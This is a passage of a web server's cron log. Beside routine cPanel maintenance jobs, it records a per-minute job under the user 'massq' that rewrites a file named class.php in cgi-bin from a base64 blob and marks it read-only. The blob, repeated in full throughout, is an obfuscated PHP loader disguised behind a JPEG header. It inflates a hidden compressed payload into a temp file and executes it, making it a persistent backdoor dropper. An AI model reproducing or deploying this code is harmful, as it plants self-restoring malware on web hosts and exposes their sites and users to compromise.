UyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:52:01 server CROND[22475]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:53:01 server CROND[22543]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:54:01 server CROND[22705]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:55:01 server CROND[22762]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 20:55:01 server CROND[22763]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 20:55:01 server CROND[22764]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:56:01 server CROND[22869]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:57:01 server CROND[22928]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:57:01 server CROND[22929]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 20:58:01 server CROND[22992]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:59:01 server CROND[23053]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:00:01 server CROND[23160]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 21:00:01 server CROND[23161]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 21:00:01 server CROND[23162]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:00:01 server CROND[23164]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 21:01:01 server CROND[23318]: (root) CMD (run-parts /etc/cron.hourly)
Apr  7 21:01:01 server CROND[23317]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:01:01 server run-parts(/etc/cron.hourly)[23318]: starting 0anacron
Apr  7 21:01:01 server run-parts(/etc/cron.hourly)[23330]: finished 0anacron
Apr  7 21:02:01 server CROND[23411]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:03:01 server CROND[23473]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:04:01 server CROND[23536]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 21:05:01 server CROND[23590]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 21:05:01 server CROND[23592]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 21:05:01 server CROND[23591]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 